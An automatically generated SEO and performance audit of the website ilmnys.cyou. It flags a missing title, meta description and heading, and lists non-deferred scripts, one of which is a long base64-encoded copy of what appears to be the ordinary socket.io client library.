Ranklexa Reviews

ilmnys.cyou reviews

Reviews
Report generated on 2025-01-15 at 02:22:04 (UTC +00:00).
2 days ago
SEO
Title
The title tag is missing or empty.
The title tag must be between 1 and 60 characters.
The current title has 0 characters.
The title tag is the HTML element that specifies the title of the webpage. The title tag is displayed at the top of your browser, in the search results, as well as in the bookmarks bar.
Learn more
Meta description
The meta description tag is missing or empty.
The meta description is an HTML tag that provides a short and accurate summary of the webpage. The meta description is used by search engines to identify a webpage's topic and provide relevant search results.
Learn more
Headings
There is no h1 tag on the webpage.
The h tags represents the headings of the webpage. The h1 tag is the most important h tag, and describes the main topic of the page, while the rest of the tags describe the sub-topics of the webpage.
Learn more
Content keywords
No relevant keywords found on the webpage.
The webpage's content should contain relevant keywords that can also be found in the title of the webpage.
The alt attribute specifies an alternate text for an image, if the image cannot be displayed. The alt attribute is also useful for search engines to identify the subject of the image, and helps screen readers describe the image.
Learn more
SEO friendly URL
The URL does not contain any relevant keywords.
https://ilmnys.cyou/
The SEO friendly URLs are URLs that contain relevant keywords with the webpage's topic, and contain no special characters besides slashes and dashes.
Learn more
404 page
The website has 404 error pages.
The 404 webpage status informs the users and the search engines that a webpage is missing.
Learn more
Robots.txt
The webpage can be accessed by search engines.
A robots.txt file inform the search engines which links from the website can be accessed.
Learn more
Noindex
The webpage does not have a noindex tag set.
The noindex tag instruct the search engines to not index the webpage.
Learn more
In-page links
The number of links on the webpage is okay.
Language
The webpage has the language declared.
en
The lang attribute declares the webpage's language, helping search engines identify the language in which the content is written, and browsers to offer translation suggestions.
Learn more
Favicon
The favicon is the icon that is being displayed in the browser's tab, when the webpage is being bookmarked, and sometimes even in search engine results.
Learn more
Performance
Text compression
The HTML file is not compressed.
The HTML filesize is 289.21 kB.
The text compression helps speeding up the webpage's load by compressing the HTML's content.
Load time
The webpage loaded in 1.44 seconds.
The load time indicates the HTML's total load time, and does not include the external resources, such as images, scripts, or other resources.
Page size
The size of the HTML webpage is 289.21 kB.
The page size indicates the HTML's total size, and does not include the external resources, such as images, scripts, or other resources.
HTTP requests
There are fewer than 13 HTTP requests on the webpage.
The HTTP requests represents the number of external resources present on the webpage.
The images format represents the images that are not served in a next-generation file format. Images served in a next-generation format improve the webpage's load performance.
Learn more
JavaScript defer
There are 6 javascript resources without the defer attribute.
  1. https://ilmnys.cyou/data:text/javascript;base64,IWZ1bmN0aW9uKHQsZSl7Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzJiYib2JqZWN0Ij09dHlwZW9mIG1vZHVsZT9tb2R1bGUuZXhwb3J0cz1lKCk6ImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZD9kZWZpbmUoW10sZSk6Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzP2V4cG9ydHMuaW89ZSgpOnQuaW89ZSgpfSh0aGlzLGZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGUocil7aWYobltyXSlyZXR1cm4gbltyXS5leHBvcnRzO3ZhciBvPW5bcl09e2V4cG9ydHM6e30saWQ6cixsb2FkZWQ6ITF9O3JldHVybiB0W3JdLmNhbGwoby5leHBvcnRzLG8sby5leHBvcnRzLGUpLG8ubG9hZGVkPSEwLG8uZXhwb3J0c312YXIgbj17fTtyZXR1cm4gZS5tPXQsZS5jPW4sZS5wPSIiLGUoMCl9KFtmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHIodCxlKXsib2JqZWN0Ij09PSgidW5kZWZpbmVkIj09dHlwZW9mIHQ/InVuZGVmaW5lZCI6byh0KSkmJihlPXQsdD12b2lkIDApLGU9ZXx8e307dmFyIG4scj1pKHQpLHM9ci5zb3VyY2UsdT1yLmlkLGg9ci5wYXRoLGY9cFt1XSYmaCBpbiBwW3VdLm5zcHMsbD1lLmZvcmNlTmV3fHxlWyJmb3JjZSBuZXcgY29ubmVjdGlvbiJdfHwhMT09PWUubXVsdGlwbGV4fHxmO3JldHVybiBsPyhjKCJpZ25vcmluZyBzb2NrZXQgY2FjaGUgZm9yICVzIixzKSxuPWEocyxlKSk6KHBbdV18fChjKCJuZXcgaW8gaW5zdGFuY2UgZm9yICVzIixzKSxwW3VdPWEocyxlKSksbj1wW3VdKSxyLnF1ZXJ5JiYhZS5xdWVyeSYmKGUucXVlcnk9ci5xdWVyeSksbi5zb2NrZXQoci5wYXRoLGUpfXZhciBvPSJmdW5jdGlvbiI9PXR5cGVvZiBTeW1ib2wmJiJzeW1ib2wiPT10eXBlb2YgU3ltYm9sLml0ZXJhdG9yP2Z1bmN0aW9uKHQpe3JldHVybiB0eXBlb2YgdH06ZnVuY3Rpb24odCl7cmV0dXJuIHQmJiJmdW5jdGlvbiI9PXR5cGVvZiBTeW1ib2wmJnQuY29uc3RydWN0b3I9PT1TeW1ib2wmJnQhPT1TeW1ib2wucHJvdG90eXBlPyJzeW1ib2wiOnR5cGVvZiB0fSxpPW4oMSkscz1uKDcpLGE9bigxMyksYz1uKDMpKCJzb2NrZXQuaW8tY2xpZW50Iik7dC5leHBvcnRzPWU9cjt2YXIgcD1lLm1hbmFnZXJzPXt9O2UucHJvdG9jb2w9cy5wcm90b2NvbCxlLmNvbm5lY3Q9cixlLk1hbmFnZXI9bigxMyksZS5Tb2NrZXQ9bigzNyl9LGZ1bmN0aW9uKHQsZSxuKXsoZnVuY3Rpb24oZSl7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHIodCxuKXt2YXIgcj10O249bnx8ZS5sb2NhdGlvbixudWxsPT10JiYodD1uLnByb3RvY29sKyIvLyIrbi5ob3N0KSwic3RyaW5nIj09dHlwZW9mIHQmJigiLyI9PT10LmNoYXJBdCgwKSYmKHQ9Ii8iPT09dC5jaGFyQXQoMSk/bi5wcm90b2NvbCt0Om4uaG9zdCt0KSwvXihodHRwcz98d3NzPyk6XC9cLy8udGVzdCh0KXx8KGkoInByb3RvY29sLWxlc3MgdXJsICVzIix0KSx0PSJ1bmRlZmluZWQiIT10eXBlb2Ygbj9uLnByb3RvY29sKyIvLyIrdDoiaHR0cHM6Ly8iK3QpLGkoInBhcnNlICVzIix0KSxyPW8odCkpLHIucG9ydHx8KC9eKGh0dHB8d3MpJC8udGVzdChyLnByb3RvY29sKT9yLnBvcnQ9IjgwIjovXihodHRwfHdzKXMkLy50ZXN0KHIucHJvdG9jb2wpJiYoci5wb3J0PSI0NDMiKSksci5wYXRoPXIucGF0aHx8Ii8iO3ZhciBzPXIuaG9zdC5pbmRleE9mKCI6IikhPT0tMSxhPXM/IlsiK3IuaG9zdCsiXSI6ci5ob3N0O3JldHVybiByLmlkPXIucHJvdG9jb2wrIjovLyIrYSsiOiIrci5wb3J0LHIuaHJlZj1yLnByb3RvY29sKyI6Ly8iK2ErKG4mJm4ucG9ydD09PXIucG9ydD8iIjoiOiIrci5wb3J0KSxyfXZhciBvPW4oMiksaT1uKDMpKCJzb2NrZXQuaW8tY2xpZW50OnVybCIpO3QuZXhwb3J0cz1yfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe3ZhciBuPS9eKD86KD8hW146QF0rOlteOkBcL10qQCkoaHR0cHxodHRwc3x3c3x3c3MpOlwvXC8pPygoPzooKFteOkBdKikoPzo6KFteOkBdKikpPyk/QCk/KCg/OlthLWYwLTldezAsNH06KXsyLDd9W2EtZjAtOV17MCw0fXxbXjpcLz8jXSopKD86OihcZCopKT8pKCgoXC8oPzpbXj8jXSg/IVtePyNcL10qXC5bXj8jXC8uXSsoPzpbPyNdfCQpKSkqXC8/KT8oW14/I1wvXSopKSg/Olw/KFteI10qKSk/KD86IyguKikpPykvLHI9WyJzb3VyY2UiLCJwcm90b2NvbCIsImF1dGhvcml0eSIsInVzZXJJbmZvIiwidXNlciIsInBhc3N3b3JkIiwiaG9zdCIsInBvcnQiLCJyZWxhdGl2ZSIsInBhdGgiLCJkaXJlY3RvcnkiLCJmaWxlIiwicXVlcnkiLCJhbmNob3IiXTt0LmV4cG9ydHM9ZnVuY3Rpb24odCl7dmFyIGU9dCxvPXQuaW5kZXhPZigiWyIpLGk9dC5pbmRleE9mKCJdIik7byE9LTEmJmkhPS0xJiYodD10LnN1YnN0cmluZygwLG8pK3Quc3Vic3RyaW5nKG8saSkucmVwbGFjZSgvOi9nLCI7IikrdC5zdWJzdHJpbmcoaSx0Lmxlbmd0aCkpO2Zvcih2YXIgcz1uLmV4ZWModHx8IiIpLGE9e30sYz0xNDtjLS07KWFbcltjXV09c1tjXXx8IiI7cmV0dXJuIG8hPS0xJiZpIT0tMSYmKGEuc291cmNlPWUsYS5ob3N0PWEuaG9zdC5zdWJzdHJpbmcoMSxhLmhvc3QubGVuZ3RoLTEpLnJlcGxhY2UoLzsvZywiOiIpLGEuYXV0aG9yaXR5PWEuYXV0aG9yaXR5LnJlcGxhY2UoIlsiLCIiKS5yZXBsYWNlKCJdIiwiIikucmVwbGFjZSgvOy9nLCI6IiksYS5pcHY2dXJpPSEwKSxhfX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbihyKXtmdW5jdGlvbiBvKCl7cmV0dXJuISgidW5kZWZpbmVkIj09dHlwZW9mIHdpbmRvd3x8IXdpbmRvdy5wcm9jZXNzfHwicmVuZGVyZXIiIT09d2luZG93LnByb2Nlc3MudHlwZSl8fCgidW5kZWZpbmVkIiE9dHlwZW9mIGRvY3VtZW50JiZkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQmJmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zdHlsZSYmZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnN0eWxlLldlYmtpdEFwcGVhcmFuY2V8fCJ1bmRlZmluZWQiIT10eXBlb2Ygd2luZG93JiZ3aW5kb3cuY29uc29sZSYmKHdpbmRvdy5jb25zb2xlLmZpcmVidWd8fHdpbmRvdy5jb25zb2xlLmV4Y2VwdGlvbiYmd2luZG93LmNvbnNvbGUudGFibGUpfHwidW5kZWZpbmVkIiE9dHlwZW9mIG5hdmlnYXRvciYmbmF2aWdhdG9yLnVzZXJBZ2VudCYmbmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLm1hdGNoKC9maXJlZm94XC8oXGQrKS8pJiZwYXJzZUludChSZWdFeHAuJDEsMTApPj0zMXx8InVuZGVmaW5lZCIhPXR5cGVvZiBuYXZpZ2F0b3ImJm5hdmlnYXRvci51c2VyQWdlbnQmJm5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKS5tYXRjaCgvYXBwbGV3ZWJraXRcLyhcZCspLykpfWZ1bmN0aW9uIGkodCl7dmFyIG49dGhpcy51c2VDb2xvcnM7aWYodFswXT0obj8iJWMiOiIiKSt0aGlzLm5hbWVzcGFjZSsobj8iICVjIjoiICIpK3RbMF0rKG4/IiVjICI6IiAiKSsiKyIrZS5odW1hbml6ZSh0aGlzLmRpZmYpLG4pe3ZhciByPSJjb2xvcjogIit0aGlzLmNvbG9yO3Quc3BsaWNlKDEsMCxyLCJjb2xvcjogaW5oZXJpdCIpO3ZhciBvPTAsaT0wO3RbMF0ucmVwbGFjZSgvJVthLXpBLVolXS9nLGZ1bmN0aW9uKHQpeyIlJSIhPT10JiYobysrLCIlYyI9PT10JiYoaT1vKSl9KSx0LnNwbGljZShpLDAscil9fWZ1bmN0aW9uIHMoKXtyZXR1cm4ib2JqZWN0Ij09dHlwZW9mIGNvbnNvbGUmJmNvbnNvbGUubG9nJiZGdW5jdGlvbi5wcm90b3R5cGUuYXBwbHkuY2FsbChjb25zb2xlLmxvZyxjb25zb2xlLGFyZ3VtZW50cyl9ZnVuY3Rpb24gYSh0KXt0cnl7bnVsbD09dD9lLnN0b3JhZ2UucmVtb3ZlSXRlbSgiZGVidWciKTplLnN0b3JhZ2UuZGVidWc9dH1jYXRjaChuKXt9fWZ1bmN0aW9uIGMoKXt2YXIgdDt0cnl7dD1lLnN0b3JhZ2UuZGVidWd9Y2F0Y2gobil7fXJldHVybiF0JiYidW5kZWZpbmVkIiE9dHlwZW9mIHImJiJlbnYiaW4gciYmKHQ9ci5lbnYuREVCVUcpLHR9ZnVuY3Rpb24gcCgpe3RyeXtyZXR1cm4gd2luZG93LmxvY2FsU3RvcmFnZX1jYXRjaCh0KXt9fWU9dC5leHBvcnRzPW4oNSksZS5sb2c9cyxlLmZvcm1hdEFyZ3M9aSxlLnNhdmU9YSxlLmxvYWQ9YyxlLnVzZUNvbG9ycz1vLGUuc3RvcmFnZT0idW5kZWZpbmVkIiE9dHlwZW9mIGNocm9tZSYmInVuZGVmaW5lZCIhPXR5cGVvZiBjaHJvbWUuc3RvcmFnZT9jaHJvbWUuc3RvcmFnZS5sb2NhbDpwKCksZS5jb2xvcnM9WyJsaWdodHNlYWdyZWVuIiwiZm9yZXN0Z3JlZW4iLCJnb2xkZW5yb2QiLCJkb2RnZXJibHVlIiwiZGFya29yY2hpZCIsImNyaW1zb24iXSxlLmZvcm1hdHRlcnMuaj1mdW5jdGlvbih0KXt0cnl7cmV0dXJuIEpTT04uc3RyaW5naWZ5KHQpfWNhdGNoKGUpe3JldHVybiJbVW5leHBlY3RlZEpTT05QYXJzZUVycm9yXTogIitlLm1lc3NhZ2V9fSxlLmVuYWJsZShjKCkpfSkuY2FsbChlLG4oNCkpfSxmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4oKXt0aHJvdyBuZXcgRXJyb3IoInNldFRpbWVvdXQgaGFzIG5vdCBiZWVuIGRlZmluZWQiKX1mdW5jdGlvbiByKCl7dGhyb3cgbmV3IEVycm9yKCJjbGVhclRpbWVvdXQgaGFzIG5vdCBiZWVuIGRlZmluZWQiKX1mdW5jdGlvbiBvKHQpe2lmKHU9PT1zZXRUaW1lb3V0KXJldHVybiBzZXRUaW1lb3V0KHQsMCk7aWYoKHU9PT1ufHwhdSkmJnNldFRpbWVvdXQpcmV0dXJuIHU9c2V0VGltZW91dCxzZXRUaW1lb3V0KHQsMCk7dHJ5e3JldHVybiB1KHQsMCl9Y2F0Y2goZSl7dHJ5e3JldHVybiB1LmNhbGwobnVsbCx0LDApfWNhdGNoKGUpe3JldHVybiB1LmNhbGwodGhpcyx0LDApfX19ZnVuY3Rpb24gaSh0KXtpZihoPT09Y2xlYXJUaW1lb3V0KXJldHVybiBjbGVhclRpbWVvdXQodCk7aWYoKGg9PT1yfHwhaCkmJmNsZWFyVGltZW91dClyZXR1cm4gaD1jbGVhclRpbWVvdXQsY2xlYXJUaW1lb3V0KHQpO3RyeXtyZXR1cm4gaCh0KX1jYXRjaChlKXt0cnl7cmV0dXJuIGguY2FsbChudWxsLHQpfWNhdGNoKGUpe3JldHVybiBoLmNhbGwodGhpcyx0KX19fWZ1bmN0aW9uIHMoKXt5JiZsJiYoeT0hMSxsLmxlbmd0aD9kPWwuY29uY2F0KGQpOm09LTEsZC5sZW5ndGgmJmEoKSl9ZnVuY3Rpb24gYSgpe2lmKCF5KXt2YXIgdD1vKHMpO3k9ITA7Zm9yKHZhciBlPWQubGVuZ3RoO2U7KXtmb3IobD1kLGQ9W107KyttPGU7KWwmJmxbbV0ucnVuKCk7bT0tMSxlPWQubGVuZ3RofWw9bnVsbCx5PSExLGkodCl9fWZ1bmN0aW9uIGModCxlKXt0aGlzLmZ1bj10LHRoaXMuYXJyYXk9ZX1mdW5jdGlvbiBwKCl7fXZhciB1LGgsZj10LmV4cG9ydHM9e307IWZ1bmN0aW9uKCl7dHJ5e3U9ImZ1bmN0aW9uIj09dHlwZW9mIHNldFRpbWVvdXQ/c2V0VGltZW91dDpufWNhdGNoKHQpe3U9bn10cnl7aD0iZnVuY3Rpb24iPT10eXBlb2YgY2xlYXJUaW1lb3V0P2NsZWFyVGltZW91dDpyfWNhdGNoKHQpe2g9cn19KCk7dmFyIGwsZD1bXSx5PSExLG09LTE7Zi5uZXh0VGljaz1mdW5jdGlvbih0KXt2YXIgZT1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aC0xKTtpZihhcmd1bWVudHMubGVuZ3RoPjEpZm9yKHZhciBuPTE7bjxhcmd1bWVudHMubGVuZ3RoO24rKyllW24tMV09YXJndW1lbnRzW25dO2QucHVzaChuZXcgYyh0LGUpKSwxIT09ZC5sZW5ndGh8fHl8fG8oYSl9LGMucHJvdG90eXBlLnJ1bj1mdW5jdGlvbigpe3RoaXMuZnVuLmFwcGx5KG51bGwsdGhpcy5hcnJheSl9LGYudGl0bGU9ImJyb3dzZXIiLGYuYnJvd3Nlcj0hMCxmLmVudj17fSxmLmFyZ3Y9W10sZi52ZXJzaW9uPSIiLGYudmVyc2lvbnM9e30sZi5vbj1wLGYuYWRkTGlzdGVuZXI9cCxmLm9uY2U9cCxmLm9mZj1wLGYucmVtb3ZlTGlzdGVuZXI9cCxmLnJlbW92ZUFsbExpc3RlbmVycz1wLGYuZW1pdD1wLGYucHJlcGVuZExpc3RlbmVyPXAsZi5wcmVwZW5kT25jZUxpc3RlbmVyPXAsZi5saXN0ZW5lcnM9ZnVuY3Rpb24odCl7cmV0dXJuW119LGYuYmluZGluZz1mdW5jdGlvbih0KXt0aHJvdyBuZXcgRXJyb3IoInByb2Nlc3MuYmluZGluZyBpcyBub3Qgc3VwcG9ydGVkIil9LGYuY3dkPWZ1bmN0aW9uKCl7cmV0dXJuIi8ifSxmLmNoZGlyPWZ1bmN0aW9uKHQpe3Rocm93IG5ldyBFcnJvcigicHJvY2Vzcy5jaGRpciBpcyBub3Qgc3VwcG9ydGVkIil9LGYudW1hc2s9ZnVuY3Rpb24oKXtyZXR1cm4gMH19LGZ1bmN0aW9uKHQsZSxuKXtmdW5jdGlvbiByKHQpe3ZhciBuLHI9MDtmb3IobiBpbiB0KXI9KHI8PDUpLXIrdC5jaGFyQ29kZUF0KG4pLHJ8PTA7cmV0dXJuIGUuY29sb3JzW01hdGguYWJzKHIpJWUuY29sb3JzLmxlbmd0aF19ZnVuY3Rpb24gbyh0KXtmdW5jdGlvbiBuKCl7aWYobi5lbmFibGVkKXt2YXIgdD1uLHI9K25ldyBEYXRlLG89ci0ocHx8cik7dC5kaWZmPW8sdC5wcmV2PXAsdC5jdXJyPXIscD1yO2Zvcih2YXIgaT1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCkscz0wO3M8aS5sZW5ndGg7cysrKWlbc109YXJndW1lbnRzW3NdO2lbMF09ZS5jb2VyY2UoaVswXSksInN0cmluZyIhPXR5cGVvZiBpWzBdJiZpLnVuc2hpZnQoIiVPIik7dmFyIGE9MDtpWzBdPWlbMF0ucmVwbGFjZSgvJShbYS16QS1aJV0pL2csZnVuY3Rpb24obixyKXtpZigiJSUiPT09bilyZXR1cm4gbjthKys7dmFyIG89ZS5mb3JtYXR0ZXJzW3JdO2lmKCJmdW5jdGlvbiI9PXR5cGVvZiBvKXt2YXIgcz1pW2FdO249by5jYWxsKHQscyksaS5zcGxpY2UoYSwxKSxhLS19cmV0dXJuIG59KSxlLmZvcm1hdEFyZ3MuY2FsbCh0LGkpO3ZhciBjPW4ubG9nfHxlLmxvZ3x8Y29uc29sZS5sb2cuYmluZChjb25zb2xlKTtjLmFwcGx5KHQsaSl9fXJldHVybiBuLm5hbWVzcGFjZT10LG4uZW5hYmxlZD1lLmVuYWJsZWQodCksbi51c2VDb2xvcnM9ZS51c2VDb2xvcnMoKSxuLmNvbG9yPXIodCksImZ1bmN0aW9uIj09dHlwZW9mIGUuaW5pdCYmZS5pbml0KG4pLG59ZnVuY3Rpb24gaSh0KXtlLnNhdmUodCksZS5uYW1lcz1bXSxlLnNraXBzPVtdO2Zvcih2YXIgbj0oInN0cmluZyI9PXR5cGVvZiB0P3Q6IiIpLnNwbGl0KC9bXHMsXSsvKSxyPW4ubGVuZ3RoLG89MDtvPHI7bysrKW5bb10mJih0PW5bb10ucmVwbGFjZSgvXCovZywiLio/IiksIi0iPT09dFswXT9lLnNraXBzLnB1c2gobmV3IFJlZ0V4cCgiXiIrdC5zdWJzdHIoMSkrIiQiKSk6ZS5uYW1lcy5wdXNoKG5ldyBSZWdFeHAoIl4iK3QrIiQiKSkpfWZ1bmN0aW9uIHMoKXtlLmVuYWJsZSgiIil9ZnVuY3Rpb24gYSh0KXt2YXIgbixyO2ZvcihuPTAscj1lLnNraXBzLmxlbmd0aDtuPHI7bisrKWlmKGUuc2tpcHNbbl0udGVzdCh0KSlyZXR1cm4hMTtmb3Iobj0wLHI9ZS5uYW1lcy5sZW5ndGg7bjxyO24rKylpZihlLm5hbWVzW25dLnRlc3QodCkpcmV0dXJuITA7cmV0dXJuITF9ZnVuY3Rpb24gYyh0KXtyZXR1cm4gdCBpbnN0YW5jZW9mIEVycm9yP3Quc3RhY2t8fHQubWVzc2FnZTp0fWU9dC5leHBvcnRzPW8uZGVidWc9b1siZGVmYXVsdCJdPW8sZS5jb2VyY2U9YyxlLmRpc2FibGU9cyxlLmVuYWJsZT1pLGUuZW5hYmxlZD1hLGUuaHVtYW5pemU9big2KSxlLm5hbWVzPVtdLGUuc2tpcHM9W10sZS5mb3JtYXR0ZXJzPXt9O3ZhciBwfSxmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4odCl7aWYodD1TdHJpbmcodCksISh0Lmxlbmd0aD4xMDApKXt2YXIgZT0vXigoPzpcZCspP1wuP1xkKykgKihtaWxsaXNlY29uZHM/fG1zZWNzP3xtc3xzZWNvbmRzP3xzZWNzP3xzfG1pbnV0ZXM/fG1pbnM/fG18aG91cnM/fGhycz98aHxkYXlzP3xkfHllYXJzP3x5cnM/fHkpPyQvaS5leGVjKHQpO2lmKGUpe3ZhciBuPXBhcnNlRmxvYXQoZVsxXSkscj0oZVsyXXx8Im1zIikudG9Mb3dlckNhc2UoKTtzd2l0Y2gocil7Y2FzZSJ5ZWFycyI6Y2FzZSJ5ZWFyIjpjYXNlInlycyI6Y2FzZSJ5ciI6Y2FzZSJ5IjpyZXR1cm4gbip1O2Nhc2UiZGF5cyI6Y2FzZSJkYXkiOmNhc2UiZCI6cmV0dXJuIG4qcDtjYXNlImhvdXJzIjpjYXNlImhvdXIiOmNhc2UiaHJzIjpjYXNlImhyIjpjYXNlImgiOnJldHVybiBuKmM7Y2FzZSJtaW51dGVzIjpjYXNlIm1pbnV0ZSI6Y2FzZSJtaW5zIjpjYXNlIm1pbiI6Y2FzZSJtIjpyZXR1cm4gbiphO2Nhc2Uic2Vjb25kcyI6Y2FzZSJzZWNvbmQiOmNhc2Uic2VjcyI6Y2FzZSJzZWMiOmNhc2UicyI6cmV0dXJuIG4qcztjYXNlIm1pbGxpc2Vjb25kcyI6Y2FzZSJtaWxsaXNlY29uZCI6Y2FzZSJtc2VjcyI6Y2FzZSJtc2VjIjpjYXNlIm1zIjpyZXR1cm4gbjtkZWZhdWx0OnJldHVybn19fX1mdW5jdGlvbiByKHQpe3JldHVybiB0Pj1wP01hdGgucm91bmQodC9wKSsiZCI6dD49Yz9NYXRoLnJvdW5kKHQvYykrImgiOnQ+PWE/TWF0aC5yb3VuZCh0L2EpKyJtIjp0Pj1zP01hdGgucm91bmQodC9zKSsicyI6dCsibXMifWZ1bmN0aW9uIG8odCl7cmV0dXJuIGkodCxwLCJkYXkiKXx8aSh0LGMsImhvdXIiKXx8aSh0LGEsIm1pbnV0ZSIpfHxpKHQscywic2Vjb25kIil8fHQrIiBtcyJ9ZnVuY3Rpb24gaSh0LGUsbil7aWYoISh0PGUpKXJldHVybiB0PDEuNSplP01hdGguZmxvb3IodC9lKSsiICIrbjpNYXRoLmNlaWwodC9lKSsiICIrbisicyJ9dmFyIHM9MWUzLGE9NjAqcyxjPTYwKmEscD0yNCpjLHU9MzY1LjI1KnA7dC5leHBvcnRzPWZ1bmN0aW9uKHQsZSl7ZT1lfHx7fTt2YXIgaT10eXBlb2YgdDtpZigic3RyaW5nIj09PWkmJnQubGVuZ3RoPjApcmV0dXJuIG4odCk7aWYoIm51bWJlciI9PT1pJiZpc05hTih0KT09PSExKXJldHVybiBlWyJsb25nIl0/byh0KTpyKHQpO3Rocm93IG5ldyBFcnJvcigidmFsIGlzIG5vdCBhIG5vbi1lbXB0eSBzdHJpbmcgb3IgYSB2YWxpZCBudW1iZXIuIHZhbD0iK0pTT04uc3RyaW5naWZ5KHQpKX19LGZ1bmN0aW9uKHQsZSxuKXtmdW5jdGlvbiByKCl7fWZ1bmN0aW9uIG8odCl7dmFyIG49IiIrdC50eXBlO3JldHVybiBlLkJJTkFSWV9FVkVOVCE9PXQudHlwZSYmZS5CSU5BUllfQUNLIT09dC50eXBlfHwobis9dC5hdHRhY2htZW50cysiLSIpLHQubnNwJiYiLyIhPT10Lm5zcCYmKG4rPXQubnNwKyIsIiksbnVsbCE9dC5pZCYmKG4rPXQuaWQpLG51bGwhPXQuZGF0YSYmKG4rPUpTT04uc3RyaW5naWZ5KHQuZGF0YSkpLGgoImVuY29kZWQgJWogYXMgJXMiLHQsbiksbn1mdW5jdGlvbiBpKHQsZSl7ZnVuY3Rpb24gbih0KXt2YXIgbj1kLmRlY29uc3RydWN0UGFja2V0KHQpLHI9byhuLnBhY2tldCksaT1uLmJ1ZmZlcnM7aS51bnNoaWZ0KHIpLGUoaSl9ZC5yZW1vdmVCbG9icyh0LG4pfWZ1bmN0aW9uIHMoKXt0aGlzLnJlY29uc3RydWN0b3I9bnVsbH1mdW5jdGlvbiBhKHQpe3ZhciBuPTAscj17dHlwZTpOdW1iZXIodC5jaGFyQXQoMCkpfTtpZihudWxsPT1lLnR5cGVzW3IudHlwZV0pcmV0dXJuIHUoKTtpZihlLkJJTkFSWV9FVkVOVD09PXIudHlwZXx8ZS5CSU5BUllfQUNLPT09ci50eXBlKXtmb3IodmFyIG89IiI7Ii0iIT09dC5jaGFyQXQoKytuKSYmKG8rPXQuY2hhckF0KG4pLG4hPXQubGVuZ3RoKTspO2lmKG8hPU51bWJlcihvKXx8Ii0iIT09dC5jaGFyQXQobikpdGhyb3cgbmV3IEVycm9yKCJJbGxlZ2FsIGF0dGFjaG1lbnRzIik7ci5hdHRhY2htZW50cz1OdW1iZXIobyl9aWYoIi8iPT09dC5jaGFyQXQobisxKSlmb3Ioci5uc3A9IiI7KytuOyl7dmFyIGk9dC5jaGFyQXQobik7aWYoIiwiPT09aSlicmVhaztpZihyLm5zcCs9aSxuPT09dC5sZW5ndGgpYnJlYWt9ZWxzZSByLm5zcD0iLyI7dmFyIHM9dC5jaGFyQXQobisxKTtpZigiIiE9PXMmJk51bWJlcihzKT09cyl7Zm9yKHIuaWQ9IiI7KytuOyl7dmFyIGk9dC5jaGFyQXQobik7aWYobnVsbD09aXx8TnVtYmVyKGkpIT1pKXstLW47YnJlYWt9aWYoci5pZCs9dC5jaGFyQXQobiksbj09PXQubGVuZ3RoKWJyZWFrfXIuaWQ9TnVtYmVyKHIuaWQpfXJldHVybiB0LmNoYXJBdCgrK24pJiYocj1jKHIsdC5zdWJzdHIobikpKSxoKCJkZWNvZGVkICVzIGFzICVqIix0LHIpLHJ9ZnVuY3Rpb24gYyh0LGUpe3RyeXt0LmRhdGE9SlNPTi5wYXJzZShlKX1jYXRjaChuKXtyZXR1cm4gdSgpfXJldHVybiB0fWZ1bmN0aW9uIHAodCl7dGhpcy5yZWNvblBhY2s9dCx0aGlzLmJ1ZmZlcnM9W119ZnVuY3Rpb24gdSgpe3JldHVybnt0eXBlOmUuRVJST1IsZGF0YToicGFyc2VyIGVycm9yIn19dmFyIGg9bigzKSgic29ja2V0LmlvLXBhcnNlciIpLGY9big4KSxsPW4oOSksZD1uKDExKSx5PW4oMTIpO2UucHJvdG9jb2w9NCxlLnR5cGVzPVsiQ09OTkVDVCIsIkRJU0NPTk5FQ1QiLCJFVkVOVCIsIkFDSyIsIkVSUk9SIiwiQklOQVJZX0VWRU5UIiwiQklOQVJZX0FDSyJdLGUuQ09OTkVDVD0wLGUuRElTQ09OTkVDVD0xLGUuRVZFTlQ9MixlLkFDSz0zLGUuRVJST1I9NCxlLkJJTkFSWV9FVkVOVD01LGUuQklOQVJZX0FDSz02LGUuRW5jb2Rlcj1yLGUuRGVjb2Rlcj1zLHIucHJvdG90eXBlLmVuY29kZT1mdW5jdGlvbih0LG4pe2lmKHQudHlwZSE9PWUuRVZFTlQmJnQudHlwZSE9PWUuQUNLfHwhbCh0LmRhdGEpfHwodC50eXBlPXQudHlwZT09PWUuRVZFTlQ/ZS5CSU5BUllfRVZFTlQ6ZS5CSU5BUllfQUNLKSxoKCJlbmNvZGluZyBwYWNrZXQgJWoiLHQpLGUuQklOQVJZX0VWRU5UPT09dC50eXBlfHxlLkJJTkFSWV9BQ0s9PT10LnR5cGUpaSh0LG4pO2Vsc2V7dmFyIHI9byh0KTtuKFtyXSl9fSxmKHMucHJvdG90eXBlKSxzLnByb3RvdHlwZS5hZGQ9ZnVuY3Rpb24odCl7dmFyIG47aWYoInN0cmluZyI9PXR5cGVvZiB0KW49YSh0KSxlLkJJTkFSWV9FVkVOVD09PW4udHlwZXx8ZS5CSU5BUllfQUNLPT09bi50eXBlPyh0aGlzLnJlY29uc3RydWN0b3I9bmV3IHAobiksMD09PXRoaXMucmVjb25zdHJ1Y3Rvci5yZWNvblBhY2suYXR0YWNobWVudHMmJnRoaXMuZW1pdCgiZGVjb2RlZCIsbikpOnRoaXMuZW1pdCgiZGVjb2RlZCIsbik7ZWxzZXtpZigheSh0KSYmIXQuYmFzZTY0KXRocm93IG5ldyBFcnJvcigiVW5rbm93biB0eXBlOiAiK3QpO2lmKCF0aGlzLnJlY29uc3RydWN0b3IpdGhyb3cgbmV3IEVycm9yKCJnb3QgYmluYXJ5IGRhdGEgd2hlbiBub3Q